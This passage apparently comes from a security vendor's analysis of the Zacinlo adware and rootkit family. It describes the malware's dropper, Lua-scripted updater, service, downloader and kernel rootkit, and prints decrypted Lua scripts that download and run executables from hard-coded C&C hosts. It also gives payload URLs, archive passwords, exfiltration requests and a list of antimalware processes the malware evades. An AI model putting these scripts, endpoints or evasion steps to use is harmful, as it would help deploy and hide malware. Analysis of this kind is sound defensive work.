The executable checks if two services exists and are running, with the names in the **AName** and **BName** fields. If one of them is running, the other one gets deleted; if both are running, then the first one gets deleted and – finally - if neither is running, the second one gets deleted. It will also check if a config file exists in **%programdata%\u4c** with the name from **infoName**; the config file gets updated and will contain an encrypted JSON with the **InstallTime**, **lastInstallTime**, **version** fields. It gets a binary file from the **domains** and **taskUri** fields which, once decrypted, will contain another config from the **domains** and **taskUri** fields :

```


{
    "upinfo": {
        "version": 8,
        "name": "webdefer",
        "url": "http://ad.downloadyee.com/s2.exe",
        "openlog": false
    },
    "tasks": [
        {
            "name": "qcmd",
            "url": "http://ad.downloadyee.com/toolbar/s5_svc_databack20150414.exe",
            "cmd": "fuck8you",
            "md5": "658a66a4dc4c55dced4de5f2df44f9de",
            "session": 1
        }
    ]
}

```

Fom the **tasks** value, the updater will download the file and store it in **%programdata%**, in a subfolder named after the value in **taskDirName** from the first json. Then the file will be started with parameter from **cmd**. The downloaded file is another version of the initial download manager.

## The S5mark Application

This is the Trojanized application that serves as a pretext to lure the user into installing the adware components. It just makes a request **qq.com** when the button is toggled. It comes with an installer and uninstaller.



## The Setup Dropper

This component integrates the sources code of two open-source projects:

- Zlib
- Crypto++

In order to start, it needs **-insta** parameter, and the operating system it is running in should be at least Windows XP or an x64 platform operating system. This dropper contains multiple archives in its resources (**BINDATA** directory). All these archives are password-protected with different passwords that are hard-coded in the binary files. After extraction, the archives are deleted from disk.

Component	Archive	Files	Password
msidntld	<b>msidntld32</b>	<b>msidntld32.data</b>	<b>rq2cCy8fhLpI4TwCFRCU</b>
	<b>msidntld64</b>	<b>msidntld64.data</b>	
netfilter3	<b>netfilter3_x86_xp</b>	<b>netfilter3_x86_xp.data</b>	<b>W-rPJbw6LQtmPef5kxqh</b>
	<b>netfilter3_x64_xp</b>	<b>netfilter3_x64_xp.data</b>	
	<b>netfilter3_x86_win7</b>	<b>netfilter3_x86_win7.data</b>	
	<b>netfilter3_x64_win7</b>	<b>netfilter3_x64_win7.data</b>	
	<b>netfilter3_x86_win8</b>	<b>netfilter3_x86_win8.data</b>	
	<b>netfilter3_x64_win8</b>	<b>netfilter3_x64_win8.data</b>	
radardt	<b>radardt32</b>	<b>radardt32.data</b>	<b>QecTmzgcmfW6SCf4-s5s</b>
	<b>radardt64</b>	<b>radardt64.data</b>	

ct	ct	ct.data	mNyRp6kYH5cUsoNluTCn
ct2	ct2	ct2.data	

If the operating system's platform is not x86 it verifies for **!.\DrvProtect** device (the rootkit component's device) and if it is found then:

It generates random directory and file names (for **svcmx** and **vmxclient** components) if **set\_pt** data (**HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Network**) is not set, and both components will be saved in an encrypted form in this registry value

It sets **atimode** registry data (**HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Network**)

It checks for the following antimalware processes

Antimalware processes checked by this component			
mbam	<b>mbamservice</b>	<b>mbamtray</b>	<b>avgnt</b>
avguard	<b>avshadow</b>	<b>Avira.ServiceHost</b>	<b>ns</b>

- Based on the operating system's platform, the **MsidntId** archive component will be dropped with random name in **%temp%**. The file is extracted in a randomly generated directory created under **System32** with a randomly generated filename.
- Depending on the operating system platform and the operating system, the second archive dropped with a random name in the **%temp%** directory is the **NetFilter** component. The file is extracted in the same directory with **msidntId (zacinlo)** component and with the same generated name but with the **.sys** extension instead.
- The **Radardt** rootkit component is the third dropped archive, depending on the operating system's platform. The file is then extracted in **System32\drivers** with a randomly generated file name.
- If **ns.exe** (*Norton by Symantec*) is not found among the running processes, another archive gets dropped in a randomly generated directory name created in **%temp%** with the **temp** file name. The file serves as service component and will be extracted in the same folder with the archive, then the executable is started with the parameter **-install**.
- If an antimalware process was found, it reboots the computer using the command

**„cmd open /c start „ „shutdown /r“**

If the operating system's architecture is x86, it will drop **ct2** component in a randomly generated directory name created in **%temp%** with the filename called **temp**. The file serves as a service component and will be extracted under the name **ct.exe** in the same directory with the archive, then it will be executed with the **-install** parameter.

The generated filenames or directory names start with a prefix as follows:

- executable name starts with **ms**, followed by random 5 characters and **.exe** extension
- driver name can start with one of the following:

Win	vso	vol	vmr	usb	ter
Tdi	srv	rdp	ras	par	mdi
mou	mon	dum	ata	cdr	

followed by a random 5 characters and **.sys** extension

- directory name can start with one of the following:

wmi	ime	ctf	wud	vma	vmt
Vga	win	lsa	nis	utc	

followed by 4 random characters. Depending on the file version the starting string may differ.

## The LUA Interpreter

The component corresponds to the **ct2.exe** file. It integrates the source code from the following open-source projects:

- Lua 5.1
- Lua Cjson
- Lua Bridge
- Zlib
- Cryptopp

Depending on the supplied arguments, it provides different functionality:

- Install action (**-install** or **/install** argument (default case))
- Removal action (**-remove** or **/remove** argument)
- No argument case (there is no argument or the first argument doesn't start with "-" or "/")

### **Install action**

Searches for the "**windowsmanagementservice**" service and, if it is found, it kills the process belonging to this service, obtains "**SeDebugPrivileges**" and it stops and deletes this service. The service **windowsmanagementservice** will be created under the display name "**Windows Management Service**" and description "**Provide management service for system.**", it is set as a delayed autostart service and then it will be started.

### **Remove action**

All it does is to stop and delete its service.

**No argument action**

This use case does two important things:

It exports some Lua functions and variables which will be used by the downloaded Lua script.

Creates the service control handler (*stop, pause, continue, interrogate*).

Exported Lua Functions / Variables	Parameters	Returns	Description
EncodeDecString	String	Encrypted string	Encrypts string
DecodeDecString	Encrypted string	Decrypted string	Decrypts string
DeleteFile	File path	True in case of success, false otherwise	Deletes the file
GetInstallDir	-	Install directory path	Returns the install directory
GetTempDir	-	Install directory path	Returns the install directory
GetFileBase64	File path	Base64 string	Encode file data in Base64 encoding
GetFileMD5	File path	MD5 string	Calculate MD5 hash of the file
FileVersion	File path	File version	Return file version
GetMisInfo	-	Return a string which contains information about the system and the malware GUID and version	Takes multiple information (e.g.: guid, time, utc, mac, os, cpu, memory, language, country, screen, bit, version) and builds it into a string
IsFileExist	File path	True if file exists, false otherwise	Check if file exists
IsProcessorExist	Process name	True if process is running, false otherwise	Check if the process name is running
IsServiceRunning	Service name	True if service is running, false otherwise	Check if the service name is running
IsServiceInstall	Service name	True if service exists, false otherwise	Check if service name exists
IsMutexExist	Mutex name	True if mutex exists, false otherwise	Check if mutex exists
LaunchApp	File path, parameters	True in case of success, false otherwise	Starts a program with the provided parameters
RequestUrl	Url	Received data	Download data from the specified url
RequestFile	Url, file path	True in case of success, false otherwise	Download the file from the specified url
Sleep	Milliseconds	-	Sleeps for specified milliseconds
TerminateProcess	Process name	True in case of success, false otherwise	Terminates a process
UninstallService	Service name	-	Uninstall the service
Unzip	Archive, output file path, archive password	True in case of success, false otherwise	Unzip the specified archive
WriteFile	File path, data	-	Writes data to file
WriteLog	File path, data	-	Writes data to log file
AppVersion	-	-	Application version
AppPath	-	-	Application path

A query string is created based on information about the system and malware version (e.g.: GUID, MAC, OS, ...) that will be encrypted with DES. The encrypted string will be used to download a script from the C&C and, depending on the component's version, it will download a different Lua script that will be decrypted and interpreted.



- 1) For version **2.0.18.1** the file is downloaded from C&C "**173.192.28.166**".

```
GET /interface/getFile?A9D1A5253F0922447F317AF2A66033D60957AB37EC105B53F521BDD86FAD3924506BBE333CFEC4DF HTTP/1.1
Connection: Keep-Alive
User-Agent: wget
Host: 173.192.28.166
```

```
HTTP/1.1 200 OK
Server: openresty/1.7.7.1
Date: Tue, 13 Mar 2018 14:20:57 GMT
Content-Type: text/plain;
Connection: keep-alive
Power-By: Vanilla-0.1.0-rc4
Content-Length: 11328
```

```
877fa3905d2c0337082184a148b3895236a31db797dfcecc589573af36ab5988ce8875b9ea3bbccb9e2552ead75038b51f0650242c9bccbf60ffeed28989fb2eb59dc46483cf06ed
ef71f178c9c2ff64d04430596df35638b8c7c84a7ba6d40655a6c7ad359bcf96a658e607c7535309d8639daf93a37fcfd7550e9a2fa0f0941b7ff00a57612bb88fc2c2b645727f
6ed9025e24b6ebf302f5eb97c1cf5adda80eba34cc77992352f6824c230ab3a4944022204b0701ce165d67fb3086cb8f96a658e607c7535309d8639daf93a3b1bea55032b28d79
1e22b263ca7250cda100e8c4f5ffbedd4188bd28f60cdf37dcf196be0adab71789a137dfd22d2a13986c1897eaad22cd47a6035fe5b6cfc9f7abf0db2b84946333718c8e2961d
d88013bf1b8ea7e91897eaad22c77f168e407873b56d3b59a0350375fe4fc5187ffca92ae7f74dc52515b288f9d7f5d75ac13bcc477fd4de12e4208b1182e83bb9210b21
aae6346194a42e912862c14e2c170f74c24cb6998a2773bfa100e8c4f5ffbeddaba200f34bd0154cccf0639bc58d227658bdf8a042fb3431b95dc72dcf94731b2b1d6ee4f954e9
dee7d012b8b6a07e146a34dcd2098a67c6988fcfe95e9cca179fe3ff34cb5f2474b62b14d295778dc1c05f5b24fa73e782ca37e131e071d0f4016521824f3800da5f3b1af0f91c9ef
28bc42696c21016fib2b3d5b6c89d77c13d0f36a22c5ae0fda9202075782c67caca0c6a939d8f070e7d1c98f3a5c932fe67e92ale87d8509820536e6fa9d69fb77bd980ff6adlab307
f399d9e2dd6ga2376c49b1eb50d8fc1488feee01f39f78c0ba969ca416d2075782c67cac1f4feb744ad6b23d275a65a967a0f578789966934364012c525b9393f7d1b5574
ab20cb437719a22120f686d8c4842c6ea29c1f1aaa1994a0025399380b64d255b9a2d8d988a2592b3f4432b2b16bd39e7a8e149f5332a0f66220100f6b3114c839640c9fb9a78a9
cf0b9ba803d6f8b08dc002f3d6e84fc963b7f4e015afe9261b9e0097fc52ada61edc9dd5abefc886c6793cb8efac5fc25822d6ad9fb7d1b7faa4bbc101ad68ed08a480957b9cff56
00c9e9da3002c96ea67027362d92c09e097dcf52ada6182dc9457838c9d1c06dab661da05e0d405d40f58d68f3c4409926f5652b051482b0c0b942563a01052d144d315a167005e320cc79befac2feb68198d9668
8941cca222615995da8755e8096e9ab6f1beffae19d0511fee112aacb6dc356c4e159ddc7e14912b8a480957b9cff5600c98ce9da3002c9789966934364012c4640be1d338860b
6ed9025e24b6ebf38f77f4840a8394b1ff799c74a3420c7619066919e3263d483ce6d2899492e535ad653909df634eb3f7fa56f64f7c04231493a434399b81b95dcee
b2971ae8d0f1ea3093d0748b8027274e8a40f328bcc96ca9989b352e965b4e8875b9ea3bbccb13a68828c7a2a5d75f3cc90e6f343c4261433647b7474014304316998a8545b
93e1d6904171865aee8b9e46140996ad3487dd29151cd3a283eb7f12514478d7816890a7c634c5249ab4dc5812c13cd16e214280f06866ddc0f8355daci0f7495d70b0fd38
d7816890aa7c634cb5b7f2909cebf04bcf91a585f2fb98b59dc46483cf06ed1ad4480c18496b05ac7342c45cf31be6b3f36569aba29c9effce02bab286cb43607eb7577f9c274e
09b543afe3c60098a673905726da019a63c59bfe4400c6768bc27a0aef5321f13c4409926f5652b051482b0c0b942563a01052d144d315a167005e320cc79befac2feb68198d9668
8941cca222615995da8755e8096e9ab6f1beffae19d0511fee112aacb6dc356c4e159ddc7e14912b8a480957b9cff5600c98ce9da3002c9789966934364012c4640be1d338860b
6ed9025e24b6ebf38f77f4840a8394b1ff799c74a3420c7619066919e3263d483ce6d2899492e535ad653909df634eb3f7fa56f64f7c04231493a434399b81b95dcee
c106182458352b29c41212165cf94bf050bc3be9474e039478810480c0971a05cf096ba0ff3c04bb6e04d2f534f52b8b877159355e42a51d352448105783f3e6b097ab3ff443f2bb16bd3b3ec6732aeefcf3ceec
d70229abf17698e09fff92796dc738711c9d071a05cf096ba0ff3c04bb6e04d2f534f52b8b877159355e42a51d352448105783f3e6b097ab3ff443f2bb16bd3b3ec6732aeefcf3ceec
b0fa81fb17953646f47655b401a1e1ff0def8caf96112546f972425a66947ab5b6f2f909cebf04c65a9f9c7973ad41155dat715c5e0fb23a922a2d85b6f45d14389b380c6f2f0860
3986c1897e0ad22c9139f9c880180f1624d170624d8e819409cc43faf97d831ea796b7453986c1897eaad22cc8704573a8be04c0dec9c2e0eb21a9f987d987d5l89bdd
c6c018ce8a27688f9e00997dcf52ada10342156c6b4240946aa316fbcc054c624e85f26179b1cc64177421207b629c94507907ce3ff2b59dc46483cf06ed225a3e177e4f35c
f24411361383ca10afde01fae10b7acfdf42253535b6939381b0f643a325c14dc002f3d6e84fc967204b098096772d877019436c3d3891aee90e344ee090d0b2e68189acb256b99d
cbf4153b0eeb737fa52e7f3d3a8bb734824a8d55fef0cae82faf86043e80b202476ebc02e7aa7fb1f43f5e65025665721b6c879815ea3bc9e0e2e8bd055cad63118ca30a62d3ea
```

```
Decrypted request:
name=script2.lua&t=type=text&t=ime=22688171
```

```
Decrypted response:
local cjson = luaopen_cjson()
```

```
function Splits(s, delim)
    local t = {}
    if type(delim) ~= "string" or string.len(delim) <= 0 then
        return t
    end
    if type(s) ~= "string" or string.len(s) <= 0 then
        return t
    end
    local start = 1
    while true do
        local pos = string.find(s, delim, start, true) -- plain find
        if not pos then
            break
        end
        table.insert(t, string.sub(s, start, pos - 1))
        start = pos + string.len(delim)
    end
    table.insert(t, string.sub(s, start))
    return t
end

function GetPath(uri)
    return string.match(uri, "(.+)/[^\/*.]*$")
end

function GetFileName(uri)
    return string.match(uri, ".+/[^\/*.]*$")
end

function RemoveExtension(file_name)
    local idx = file_name:match("%.+([.].*)$")
    if(idx) then
        return file_name:sub(1, idx-1)
    else
        return file_name
    end
end

function GetExtension(file_name)
    return file_name:match("%.+(.*/).*$")
end
```



2) For version **2.0.7.1**, the file is downloaded from C&C "***hxxp://www.opttracker.com***":

```
GET /interface/getFile?A9D1A5253F0922446539D325B74A3C8853245BCCBEB6FBFB835E95C78915488C3D4543FD1FEC4DF1B HTTP/1.1
Connection: Keep-Alive
User-Agent: SmartService
Host: www.opttracker.com

HTTP/1.1 200 OK
Server: openresty/1.7.7.1
Date: Tue, 03 Feb 2018 15:46:19 GMT
Content-Type: text/plain;
Connection: keep-alive
Power-By: Vanilla-0.1.0-rc4
Content-Length: 1168

0334c99dfa5ae89744520ac77bafbf6e24b79d5fea58ecaffea6d8e13e85558bd0b83c35f6c74988f048be205117527cdb71a9c6b976a7b694a6b7291472491c61fc31
9f5a6c95de09a51e9f2claa910e3038f55e07fb6a78f2a0b1ca18a90f15bc30313498ef290c92651317ee04f376286136d1a9a86fce605f8e8eb0bb3ea2abfb27328
cf45eea6d8e13e85558b00f56a561137087b3cd16e214280f06e6d41e65dcf0bb3f02f9f86d1b038e9b9aac64f77cf22a174eee6d8e13e85558bd04430596df356385c
4d80f71865e254f2b5919940c3ba829852cf1d5b91f2a7039feedbeaf825b911f5056cd334d5ab95fe53b533cf165474b9ac3beec5cd7002dd0bba5ebf52fc88793
0551391ca100e8c4f5ffbedd6ff6ffbbcac92e188cfa8fe864033d858ab7a3d35d7689a39e3ea0d62dcee8f16ed9025e24b6ebf33f818704604f096f19134fcde375d0
b6c53e8725040ad0f12a5aaa401648f171c5ed7abb07c5e4a02e3c4ff2c26b20287ddebad0c4ad31be86b7637ab595b60b5d5b3d9e0c781fd5a516a7878c3f43d50c78
3a76c6bf4657230e5ef0cce3b5537e429db0e68e852624f30f4701312661bb176591325e90540334c99dfa5ae8973deb85bbaa9f020578d46bfc2e739b37ba0c4efbfe
f20ae7a53905726da019a04e497e86ee13465560142415b03d58be1241bc97c153d1f0986ac6a4365d76adb85c21de94d9c3048e8df72a4760225ed7a27538891ea8
830df5e0b7b2e706da3bb0d47dca3dd8884b519d6b4e916c5fcbee90fed2747f8058872173c87ef75ed8afa425dc1e3c
```

```
Decrypted request:
name=script.lua&type=text&time=0

Decrypted response:
if not IsFileExist("splsrv.exe") then
    RequestUrl("http://173.192.28.166/interface/getFile1?2513e5cbeb3e665d01ffade16fb6f9b4", "splsrv.exe")
else
    local md5 = GetFileMd5("splsrv.exe")
    if string.upper(md5) ~= string.upper("6ea6a754db7eccf215c70de239bb878b") then
        TerminateProcess("splsrv")
        RequestUrl("http://173.192.28.166/interface/getFile1?2513e5cbeb3e665d01ffade16fb6f9b4", "splsrv.exe")
    end
end

if not IsProcessExist("splsrv") then
    LaunchApp("splsrv.exe", "-ip=\"173.192.16.184\" -interval=3600 -version=\""..AppVersion.."\"")
end
```

### LUA Script 1

```
if not IsFileExist("splsrv.exe") then
    RequestUrl("http://173.192.28.166/interface/getFile1?2513e5cbeb3e665d01ffade16fb6f9b4", "splsrv.exe")
else
    local md5 = GetFileMd5("splsrv.exe")
    if string.upper(md5) ~= string.upper("6ea6a754db7eccf215c70de239bb878b") then
        TerminateProcess("splsrv")
        RequestUrl("http://173.192.28.166/interface/getFile1?2513e5cbeb3e665d01ffade16fb6f9b4", "splsrv.exe")
    end
end


if not IsProcessExist("splsrv") then
    LaunchApp("splsrv.exe", "-ip=\"173.192.16.184\" -interval=3600 -version=\""..AppVersion.."\"")
end
```

This version of Lua script checks if **splsrv.exe** file exists using the exported Lua functions of the LUA interpreter component and downloads it from :

"***hxxp://173.192.28.166/interface/getFile1?2513e5cbeb3e665d01ffade16fb6f9b4***" in case it doesn't exist. Decrypted string of "**2513e5cbeb3e665d01ffade16fb6f9b4**" is "***name=splsrv.exe***". If the file exists, it checks the version by calculating a MD5 hash on the file and, if it differs from **6ea6a754db7eccf215c70de239bb878b**, it terminates the process and downloads the new version from "***hxxp://173.192.28.166/interface/getFile1?2513e5cbeb3e665d01ffade16fb6f9b4***".

If the process **splsrv.exe** is not running, it will run the executable with the parameters:

***-ip="173.192.16.184" -interval=3600 -version="AppVersion"*** where **AppVersion** is the ct2 component file version.



### LUA Script 2

The purpose of this script is to download the updated versions of the component's files. Using `IsMutexExist` it checks for the existence of the **`Global\SetupMutex_{ABE47B72-0C2F-421F-BFE5-D86F8ABD3570}`** mutex and it waits until it exists. For a maximum of 24 hours, this mutex gets verified on the hour, and if exists, it builds a query string based on the client information and system information (e.g.: GUID, CPU, memory). The query string will be encrypted and sent as a request on the C&C "`hxxp://gpt9.com/api/cpx?q=`" using the built query string.

```

GET /api/cpx?
q=320644D1B4CBD2E45C6DB4C4DBBC5694BB6022D87AF6B1C723C93E4033AE968FA35C5678AE947F341A1DB964A723F57F68DF50D037965ABC2B28B9200223E59C4C0
6E257B048AE7BFFCCA90DAE1B3C7266325E16144D0654C07A5323086A268C8B418A7041B414F81B76DD2F4FA45D8FDDEA778B7A798C83366C1AB323A365849079BD01A
9D8049C3EC709D0422C633A0238D1F2F147504EC5FE9A0BB344C04E1967A4957F145AA7DAC77D09C9B648C809025477DA1902F194FCDA39A60FA161199A8B1F32155C
1FB584E1120440111F62C1EA618248F90FD337D8260B27D87056889A9890C6FAEE126E7A6321E33978FA540373ED00D3912F42687210D802CCD73DBF43B7468268C07
BEAD789BE64531424F286ECC7A9C40089F291AD94D52F82BB3B98F1C2F HTTP/1.1
Connection: Keep-Alive
User-Agent: wget
Host: gpt9.com

HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Wed, 14 Mar 2018 08:04:40 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.16
Z_IP: 109.103.135.190

ok
  
```

```

Decrypted request:
guid=0B15001C-5DAF-4E45-9DEE-45EC7A75074C&time=1521014881&utc=2&mac=080027756e6e&os=Microsoft Windows 7, 32bit&cpu=Intel
i1(R) Core(TM) i7-4790 CPU @ 3.60GHz, 3591, x86 Family 6 Model 60 Stepping 3, GenuineIntel&memory=2047&language=en&count
ry=US&screen=1024*768&bit=32&version=2.0.18.1&ttype=2
  
```


Another request will be made to a different IP address based on the ct2 component file version. If the version number is **2.0.18.1, 2.0.19.1, 2.0.20.1, 2.0.21.1** or **2.0.22.1**, it uses "**198.8.61.161**" IP address, otherwise it uses "**173.192.16.184**". The received data is a JSON containing information about other components.

```
[{"parameters": "/i",
"always_run": true,
"version": "1.2.0.2",
"password": "a123456",
"app": "app130",
"service": "Dataup",
"name": "dataup",
"url": "http://174.37.56.249/p/dataup.zip"}, {"parameters": "-starup",
"always_run": true,
"version": "1.0.1.8",
"password": "a123456",
"app": "app132",
"service": "",
"name": "svcmnx",
"url": "http://174.37.56.249/p/svcmnx.zip"}, {"parameters": "-key=\"svcmnx\" -arg=\"-starup\" -key=\"cpx\" -arg=\"-starup\"",
"always_run": false,
"version": "1.0.0.2",
"password": "a123456",
"app": "app133",
"service": "",
"name": "regtool",
"url": "http://174.37.56.249/p/test/regtool.zip"}, {"parameters": "-starup",
"always_run": true,
"version": "1.0.0.4",
"password": "a123456",
"app": "app137",
"service": "",
"name": "winscr",
"url": "http://66.147.225.135/p/winscr.zip"}]
```

Component's entry in JSON:

- **parameters** – the arguments that get passed to the executable when it starts
- **always\_run** – specifies that the executable needs to run
- **version** – current file version of the component
- **password** – archive password
- **app** – tag name
- **service** – service name of the component
- **name** – name of the component
- **url** – url to an archive containing the updated component

For each entry in the JSON file of the components, it compares the versions, checks if the file exists and whether the process and service is running. If the file doesn't exist or the version doesn't match the JSON's entry, it downloads the file from the specified **url**. The downloaded file is a password-protected archive. The file contained in the archive will get extracted using the password from the **password** field entry of the component. After extraction the archive gets deleted and the executable is started with the provided **parameters** value as parameters.



*Second Variant of LUA Script*

## The Service Component

The component corresponds to **ct.exe** file.

A simple component that seems to be in working progress. It has Libcurl library integrated but it is not used. This component can receive the following arguments:

### **install**

Will install itself as a service with the name **Windows Management Services** (**windowsmanagementservice** key in Registry). The service will be started with **/svc** parameter.

### **svc**

Service Control Manager will start the process with this parameter (will register service handlers).

### **launch** and **params**

Used to start an executable with the **params** commandline parameters.



## The Setup Downloader

This component integrates the source code of two open-source projects:

- Zlib
- Cryptopp

It is somewhat similar to the Setup Dropper component but, unlike Setup Dropper, it downloads the component straight from the C&C server. It starts by collecting client and system information (e.g.: client GUID, OS version and so on) including details about its running components (**splsrv**, **cpx**, **svcmx**), its service (**windowsmanagementservice**) and running antimalware processes. This information will get passed as query string on the request that it will make to the command and control center located at "**hxxp://www.gpt9.com**".

Antimalware processes checked by this component			
a2service	a2start	AdAwareDesktop	AdAwareService
AdAwareTray	avastsvc	Avgrsx	avgsvcx
avguard	avguix	Avp	bdagent
bullguard	cis	CisTray	dwerkdaemon
dwengine	egui	Ekrn	FortiClientVirusCleaner
FPAVServer	FprotTray	fsgk32	gdscan
guardxkickoff	guardxservice	guardxservice_x64	iptray
K7SysMon	K7TSecurity	K7TSMMain	mcshield
msseces	nanoav	nanosvc	navapsvc
Norman_Malware_Cleaner	OPSSVC	pccntmon	PSUAMain
PSUAService	QUHLPSVC	SASCore	sbamtray
SDRService	sfc	SntpService	Sophos UI
spideragent	SUPERAntiSpyware	twister	twssrv
vba32ldr			

```
Decrypted request:
guid=0B15001C-5DAF-4E45-9DEE-45EC7A75074C&os=Microsoft Windows 7 32bit&is_vm=1&ctservice=0&ctfile=0&ct=0&splsrv=0&cpx=0&svcmx=0&av=&version=2.0.7.1
```

```
GET /api/by?
guid=0B15001C-5DAF-4E45-9DEE-45EC7A75074C&os=Microsoft Windows 7 32bit&is_vm=1&ctservice=0&ctfile=0&ct=0&splsrv=0&cpx=0&svcmx=0&av=&version=2.0.7.1
58ea1e039a4c568d312846240ec0b1cc244399a793bbaf8d24b246fdfb540def4adbcc9b1d0efc8f4a48c320bf84219fdaf72e3fb190231b62789d309fdee274304de607d6d3cabd1f
723c1f8235eb16 HTTP/1.1
Connection: Keep-Alive
User-Agent: BypassUac
Host: www.gpt9.com
```

```
HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Wed, 14 Mar 2018 11:22:14 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.16
Z_IP: 109.103.135.190
```

```
ok
```

After passing the information along to the C&C, it checks if the current user is administrator and builds the download url using its file version. It then starts downloading a password-protected archive from "**174.37.56.248**" which will be saved in a directory with a name generated , in the "**"YearMonthDay"**" format. This folder resides in the "**"%temp%**" directory. The file(s) will be extracted in the same directory using the hard-coded archive password "**!@#\$%^&%\***".

```
GET /ct/ct_2.0.7.1.zip HTTP/1.1
Connection: Keep-Alive
User-Agent: BypassUac
Host: 174.37.56.248

HTTP/1.1 200 OK
Server: openresty/1.7.7.1
Date: Wed, 14 Mar 2018 11:22:14 GMT
Content-Type: application/zip
Content-Length: 347994
Last-Modified: Thu, 09 Mar 2017 11:02:06 GMT
Connection: keep-alive
ETag: "58c1362e-54f5a"
Accept-Ranges: bytes


PK.... .B.iJpz...N.....ct.exe ..v3.
..D.,7e.8...K0...A. ....CrU.K.\..5B.8E.P.e
[....*..0c...
..p5m.d..4+%.>....b.*....p.~.|.....|.....S+w.d....'.Zp.q'...K...6.+.htP1..=b.I9.qZ....x.BP.}...
4.Py. #./...,K.).....B.?....T.]....(.#[..~W.:u,...17.Sf.2zc....W....!.s.)5.5.&..RB....g ....b5..Q...@
..w
..X.#... 9Io.`..!..=.....
..+r..Cb..s.#...M$..-qNp...Qz..x.Ziq.....;...3t.g....,r.b'u...k...H.V...b=....._F.....g..Dy...
...j.a.h.L....E....+...[....E.;'/.j...
d..bs..oc.....mS....Q..{1..O20.VS^..Z..RVW2z...7t....~.+..<M....'9d....&T..^..K...^`3.(a.4w/$I.Y~)..1.P...T.P.zy...
+...G...-A..B....L).<...Tz..5...j..&O;&
.....v....<....q.R.CP.[..M.^..4.6 .....m.....
.....o....$.M.d...'..Hg...v.49...+R.|L]dE.....jy.B^A.t.2 .....[
.....a..8....I..Tk...Qa.w.o..;..4.....y..b\..~J7.pB..z.V6..E..W..'.Xf...#uJ#(6.'...&I.b..;..`..H..\n...?8rs..z{f..d...
5.6#....*...qJ...9.2....*....M..#....M.W#.2.U.j....^..PN .....%....o.0....hR"...!....h>rX'....Uq1....n....6...X..BY..+U4.0
..>....v.Z....i>..W....,_j.g....et.G....,mj..`Y..Hj.z..8...%9
6...p....e?..>|mI... .u....Z....t..R..p/..F&...<..H.?AP0Zv....X R$;..m..`..i....SS3..A..}.6f.&.....H.@|..U....$.$.6VY@.....|D.H...EJ
*.KY..9.P..T....U..g....7.7.7...o.8.L'.....
...{<.QfX....a ...N....cc....g..Ht.....k...]._9mT..N..l.....y...|...6.k....K.#....cw...
1...w....z.c5....)...1...v3....~...a.F.4.a.y.yp...A..e.>(..aCU(.L.{.M=
..#>a.....4R..#..n.I37e..A..r.1..F..h Z."6..P...6...(?.O.r.GF/6....F&.G.f...#.I/2.....3(..[.q$.Q....p...l.../....L.....6...
```

Depending on the file version of the executable, the archive may contain multiple files. For instance:

- Version **2.0.7.1** only contains **ct.exe** executable
- Version **2.0.2.1** contains, besides **ct.exe**, **qdcomsvc** executable and **radardt** rootkit component

The executable is started with **-install** parameter using **ShellExecuteA** API.

*„cmd /c start „„ct.exe“ -install“*





## The Netfilter Driver

The driver is part of a commercial framework used for filtering network packets on Windows. It can parse different protocols and redirect connections, and supports IPv6 and IPv4. It is used by the adware to intercept network traffic, inject scripts in web pages and MITM attack. More information can be found on the website [netfiltersdk.com](http://netfiltersdk.com).

# The Rootkit

The component corresponds to **radardt.sys** file.

- 1) It registers IRP Major Functions but only the ***IRP\_MJ\_SHUTDOWN*** IRP routine will be used. It is registered using ***IoRegisterShutdownNotification*** in order to receive a notification when the system is shut down. This notification is used by rootkit to register itself with a random generated key name in service registry.
  - 2) A device name called ***\Device\DrvProtect*** is registered.
  - 3) Checks for ***PowerMode*** / ***PowerMode2*** registry values in “***\Registry\Machine\SYSTEM\CurrentControlSet\Control\Network***”. Depending on which one is set in registry by zacinlosvc component it will filter the executables and access permissions to these. If PowerMode2 is set then it will enable PowerMode filter too.
  - 4) Creates ***atimode*** registry value in “***\Registry\Machine\SYSTEM\CurrentControlSet\Control\Network***”.
  - 5) Decrypts its encrypted strings (image names and certificate subject names).

### *Before decryption*



## *After decryption*

- 6) It creates a backup of its service registry values data (*ErrorControl*, *Start*, *Type*, *Tag*, *Group*, *ImagePath*, *St*).

Value	Type	Length	Data
ErrorControl	REG_DWORD	4	0 (0x00000000)
Group	REG_SZ	32	System Reserved
ImagePath	REG_SZ	60	system32\drivers\cgsswzcf.sys
St	REG_SZ	40	odg61v8\9TRIGy1.8A8
Start	REG_DWORD	4	0 (0x00000000)
Type	REG_DWORD	4	1 (0x00000001)

- 7) Decrypts **St** data then it will be used to build the backup folder path and command line for its executable.

Encrypted string: "odg61v8\9TRIgy1.8A8"  
Decrypted string: "svnrote/zacinlo/exe"

- 8) More paths are built:

- `\??\X:\windows\system32\config\SYSTEM`
  - `\??\X:\windows\system32\config\HARDWARE`
  - `\??\X:\windows\system32\config\BCD00000000`

where “**X**” is the Windows drive letter. These paths will be used to create Registry backups.

- 9) The data of values `set_st`, `set_bl`, `set_pt`, `atimode` from `\Registry\Machine\SYSTEM\CurrentControlSet\Control\Network` are decrypted and used.

Value	Type	Length	Data
\$ atimode	REG_SZ	270	O Y N j u PP PN Pu r rr E rO rY rN rL rj rul Ez EP Er EE EO EY EN Eu OP Oz Or OL OY Oj Yp Yr YE YO YN Yj Yu Nz NP Nr NE NO NY Nj L rz
\$ FilterClasses	REG_MULTI_SZ	396	ms_firewall_upper
\$ set_bt	REG_SZ	70	14T6 68T-8gvR Dg1p1WoenpTv8K1A.8A8
\$ set_pt	REG_SZ	120	TdRnIiy TdRnIiy.8A8 TdRnIiy loR-WT4.8A8 nR68Vp4 R68Vp4.8A8
\$ shield_count	REG_DWORD	4	0 (0x00000000)

Encrypted set\_pt data: "TdRnIiy|TdRnIiy.8A8|TdRnIiy|ToR-WT4.8A8|nR68Vp4|R68Vp4.8A8"  
Decrypted set\_pt data: "avcpml\avcpml\exe\avcpml\mscgwab\exe\pcreubd\pcreubd\exe"

Encrypted set\_bt data: "14T6|68T-8gvR|Dg1p1WoenpTv8K1A.8A8"  
Decrypted set\_bt data: "Imbar/reagent\WindowsUpdateBox\exe"

